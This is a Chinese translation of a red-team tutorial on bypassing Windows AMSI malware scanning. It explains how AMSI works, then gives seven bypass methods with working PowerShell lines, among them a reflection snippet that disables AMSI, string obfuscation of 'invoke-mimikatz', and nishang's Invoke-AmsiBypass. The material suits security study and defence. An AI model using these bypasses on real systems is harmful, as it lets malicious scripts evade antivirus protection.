翻译文章-BYPASS AMSI的详细指南

admin 2023年7月12日14:10:23翻译文章-BYPASS AMSI的详细指南已关闭评论55 views字数 5187阅读17分17秒阅读模式

原文链接:A Detailed Guide on AMSI Bypass - Hacking Articles

原文标题:A Detailed Guide on AMSI Bypass

序言

windows开发了反恶意软件扫描接口(AMSI)标准,允许开发者在他的应用中集成恶意软件防御功能。AMSI允许应用与任何系统上安装的杀软进行交互,并防止基于脚本的动态恶意软件的执行。在本篇文章中,我们将学习更多关于AMSI的代码实现和一些常规的AMSI绕过方式。

背景

用一句话说明,AMSI就是一个微软提供的基于脚本的恶意软件扫描API,可以集成到任何应用当中来扫描并检测用户输入的完整性,以保护应用和用户不会受到恶意软件的侵害。例如,一个通信类的应用可能在消息发送给接收者之前用AMSI对发送的消息进行扫描以发现其中的恶意软件。

AMSI是独立的并提供开放的Win32 API和COM接口供开发者使用。由于是微软来管理AMSI,最新的软件特征会自动更新。因此,开发者可以轻松集成AMSI,以保护用户不会受到基本脚本的动态恶意软件的攻击。您可以在这里阅读开发者指南。

AMSI适用于基于特征的检测。这意味着对于每个特定的关键字、URL、函数或运行步骤,AMSI在其数据库中都有一个相应的签名。因此,如果攻击者在他的代码中再次使用相同的关键词,AMSI会阻止运行。

恶意软件命令规则

在阅读有关AMSI运行的更多信息之前,来我们了解一下恶意软件是如何命名的。通常在分析中,Windows会检测恶意软件,但分析者无法是些恶意软件的明确细节和行为。计算机防病毒研究组织(CARO)为恶意软件提供了标准的命名约定。例如,基于快捷方式的caphaw后门程序命名如下:

翻译文章-BYPASS AMSI的详细指南

点击此处阅读有关恶意软件的更多信息。

AMSI是如何运行的

作为开发者,您可以使用AMSI利用AMSI来提供恶意软件防御功能。假设你创建了一个应用,该应用输入脚本就会使用脚本引擎(如Powershell)执行它。在进行输入时,可以首先调用AMSI来检测恶意软件。Windows提供COM和Win32 API来调用AMSI。AMSI的工作流程如下:

翻译文章-BYPASS AMSI的详细指南

解释说明:如您所见,AMSI API是开放的,因此任何杀软都可以从其函数中读取数据。在这里正在运行一个Windows脚本。当它通过AMSI时,amsi.dll被注入到与我们程序相同的虚拟内存中。这个amsi.dll具有各种可以评估代码的功能函数。可以在此处找到这些功能。但是,实际扫描业务由一下两个功能函数执行:

  • AmsiScanString()
  • AmsiScanBuffer()

这些函数评估代码。如果代码是没有恶意行为的,则结果最终传递到AV提供类(AV Provider class),然后使用RPC调用从那里传递到AV服务(AV service)。如果代码可疑,则AMSI自己会阻止它。

AMSI的BYPASS方法

现在我们已经讨论了AMSI的基础知识,下面我们将讨论一些非常知名的AMSI绕过技术。对于红队成员来说,AMSI绕过通常是必要的,以便执行任意代码以进行横向移动/权限提升。

要涵盖所有的BYPASS方法,超出了本文的范围,因为每天都有新的方法出现。这里讨论了突出的,并在Windows 10 版本1809上进行了测试。需要注意的是,最新版本的Windows(1903版本之后)阻止了互联网上几乎所有可用的方法,因为签名不断更新。

注意:MASI阻止某些关键字,如“invoke-mimikatz”或“amsiutils”,因为这些关键字在恶意软件中被广泛利用,因此作为BYPASS方式的证明,我们只会在绕过后运行这些命令。实际的payload是无法在这里绕过的。

微软已经将AMSI集成到Powershell终端(powershell.exe应用中,该应用通过Powershell引擎接收输入并进行解析。如果我们打开process hacker并搜索amsi.dll,我们将看到amsi在powershell终端中运行,任何输入都将首先被它扫描。

翻译文章-BYPASS AMSI的详细指南

方法1:Powershell版本降级

如果运行的是powershell相关的payload并且AMSI拦截了,你可以把你的powershell的版本降级到2.0,因为AMSI只支持2.0之后的版本。首先,你可以看到我们的恶意语句被AMSI拦截了。

翻译文章-BYPASS AMSI的详细指南

来我们来查看一下当前powershell的等级,然后降级到2.0再运行之前被AMSI拦截的命令。

$PSVersionTable
"amsiutils"
powershell -version 2
"amsiutils"

翻译文章-BYPASS AMSI的详细指南

但正如你所想的那样,这个方法的最大缺点就是很多高版本的函数和脚本无法在Powershell 2.0上运行。因此,让我们看看其他的一些方法。

方法2:混淆

混淆就是把你的代码或者语句变得复杂且难以理解的技巧。AMSI是对基于具体关键字的签名进行检测,所以混淆这些关键字是有效的。例如,让我们来混淆 invoke-mimikatz 命令。

"am"+"si"+"ut"+"ils"
"in"+"vok"+"e"+"-"+"mi"+"mik"+"atz"

翻译文章-BYPASS AMSI的详细指南

就像你看到的那样,只需要断开字段串在使用“+”连接起来就可以bypass AMSI。

但是这种技术也有它自己的缺点。一个payload可能触发一次或多次AMSI。在每次运行paload之后,逐个字段进行混淆是非常耗时且会产生干扰的。因此,我们遵循@ShitSecure的手动混淆指南。

RhytmStick 开发了“AmsiTrigger”(AMSI触发器),它可以扫描脚本/payload并告诉我们哪些行为触发了AMSI,然后我们就可以混淆他们!你可以在这里下载此工具。

现在我们可以生成一个名为“demo.ps1"的脚本文件,并在里面写入下图中的命令。

翻译文章-BYPASS AMSI的详细指南

我想用AmsiTrigger来检测一下是否会触发AMSI,我们可以这么做:

.\demo.ps1
.\AmsiTrigger.ps1 -i .\demo.ps1

翻译文章-BYPASS AMSI的详细指南

现在AmsiTrigger已经告诉我们AMSI拦截了哪些命令。我们可以使用字符串拼接的方法来混淆这些命令,像下面这样:

"am"+"si"+"ut"+"ils"
"in"+"vok"+"e"+"-"+"mi"+"mik"+"atz"

翻译文章-BYPASS AMSI的详细指南

现在你可以运行并成功bypass AMSI!

翻译文章-BYPASS AMSI的详细指南

你可以尝试用AMSI.fail来混淆你的代码。

方法3:强制报错

Matt Graeber在他的推文里谈论了一种amsi的bypass方法。有一个amsiInitFailed()函数,如果AMSI在上面的场景中进行扫描,则该函数返回0。这个BYPASS方式就是把这个函数的返回值固定为true。

所以AMSI会初始化失败,当前进程根本不会进行任何扫描!代码是:

```
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
```

翻译文章-BYPASS AMSI的详细指南

从那时起,很多人发布了相同方法的不同变种。在一些方法中是使用字节码,在另一些方法中是替换函数或字符串,但绕过逻辑是相同的。

方法4:内存劫持

Daniel Duggan在他的博客发布了有关内存劫持技术进行AMSI绕过的文章。绕过逻辑就是hook函数(关于hook相关的内容可以点击这里)AmsiScanBuffer(),以便它使用返回句柄AMSI_RESULT_CLEAN告诉AMSI没有发现恶意软件。可以使用Rohitab的API监控工具监测API响应。

首先,让我们引用Invoke-Mimikatz脚本看看AMSI是不是正常运行。

翻译文章-BYPASS AMSI的详细指南

现在,这里提供了实际代码。但是,为了减少将代码编译为 DLL 的麻烦,您可以在这里查看我的分支。下载后,请确保将主文件夹的名称从“AmsiScanBufferBypass”更改为“Project”或任何您喜欢的名称,因为AMSI也会阻止字符串“AmsiScanBufferBypass”!

下载后,转到发布文件夹并看到名为ASBBypass的DLL。

请注意我们现在有一个 DLL,它也可以与我们的 EXE 的payload集成,并且可以在整个使用过程中绕过 AMSI!

但是,在这里,我们将使用内联 C# 代码来仅使用 powershell 终端来激活补丁!这可以像这样完成:

```

```

翻译文章-BYPASS AMSI的详细指南

正如你看到的那样,AMSI已经被绕过了。

方法5:内存劫持(混淆的操作码)

在Rasta Mouse(Daniel Duggan)技术开始被检测到后,人们对代码进行了各种更改,使其再次变得FUD(不可检测)。Fatrodzianko在他的博客中发布了一种这样的技术。他使用操作码混淆了相同的代码,并将脚本放在这里要运行脚本是需要下载它并对他进行重命名(为了避免AMSI检测关键字)然后运行:

"invoke-mimikatz"
.\my-am-bypass.ps1
"invoke-mimikatz"

翻译文章-BYPASS AMSI的详细指南

你可以看到,现在我们成功绕过了AMSI。

方法6:通过反射绕过AMSI

根据微软的说法,“反射提供了描述组件、模块和类型的对象(类型为TYPE)。你可以使用反射来动态创建类型的实例,将类型绑定到现有对象,或者从现有对象中获取类型并调用其方法或访问其字段和属性。如果您在代码中使用该属性,反射使您能够访问它们。点击此处阅读更多关于反射的相关内容。

Paul Laine在博客上发布了原始的内存劫持方法 。Shantanu Khandelwal通过使用这里提到的Matt Graeber的反射技术将相同的代码转换为完整的内存补丁。Shantanu使代码更加隐蔽,因为现在没有磁盘上存在过。在这里查看他的网站。

我们不会演示最初的绕过补丁,但反射更新是从这里下载的。确保下载并重命名脚本,并避免使用“amsibypass”等关键字,因为它们会被阻止。我已将其重命名为“am-bp-reflection.ps1”

"invoke-mimikatz"
.\am-bp-reflection.ps1
"invoke-mimikatz"

翻译文章-BYPASS AMSI的详细指南

方法7:nishang——一个集成好的脚本集

Nikhil Mittal在他的工具“Nishang”里面 添加了一个AMSI bypass 脚本,在 这里可以找到。该脚本结合了6种不同的方法,可以在一次运行中绕过AMSI。这些是:

  • unload - Matt Graeber 的方法。从当前 PowerShell 会话中卸载 AMSI。
  • unload2 - Matt Graeber的另一种方法。从当前 PowerShell 会话中卸载 AMSI。
  • unloadsilent - Matt Graeber的另一种方法。卸载 AMSI 并避免 WMF5 自动日志记录。
  • unloadobfuscated - 上面的“unload”方法使用Daneil Bohannon的Invoke-Obfuscation进行混淆 - 避免了WMF5自动记录。
  • dllhijack - Cornelis de Plaa的方法。代码中使用的 amsi.dll来自 p0wnedshell (https://github.com/Cn33liz/p0wnedShell
  • psv2 - 如果 .net 2.0.50727 在 Windows 10 上可用。PowerShell v2 就可以启动,它不支持 AMSI。

我们只需要下载脚本并运行,该工具将使用有效方法自动绕过 AMSI。例如,这里的 WMF5 自动日志记录绕过已经起作用。此方法从当前终端卸载 AMSI 并绕过它。

这里下载脚本并将其重命名为“nishang.ps1”并像这样运行它:

Import-Module .\nishang.ps1
Invoke-AmsiBypass -Verbose
“invoke-mimikatz”

翻译文章-BYPASS AMSI的详细指南

总结

在本文中,我们讨论了 AMSI 的基础知识、如何在程序中使用它们、工作流程以及绕过它们的 7 种方法。需要注意的是,绕过方法比这里展示的要多,但本文的目的是讨论最广为人知的 7 种绕过 AMSI 的方法,以及这个 AMSI bypass 技术如何随着时间的推移的发展以及复杂性的增加。希望你喜欢这篇文章。感谢您的阅读。

作者:Harshit Rajpal 是一名InfoSec的研究员和左右脑思考者。点击这里联系他。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月12日14:10:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   翻译文章-BYPASS AMSI的详细指南https://cn-sec.com/archives/1868864.html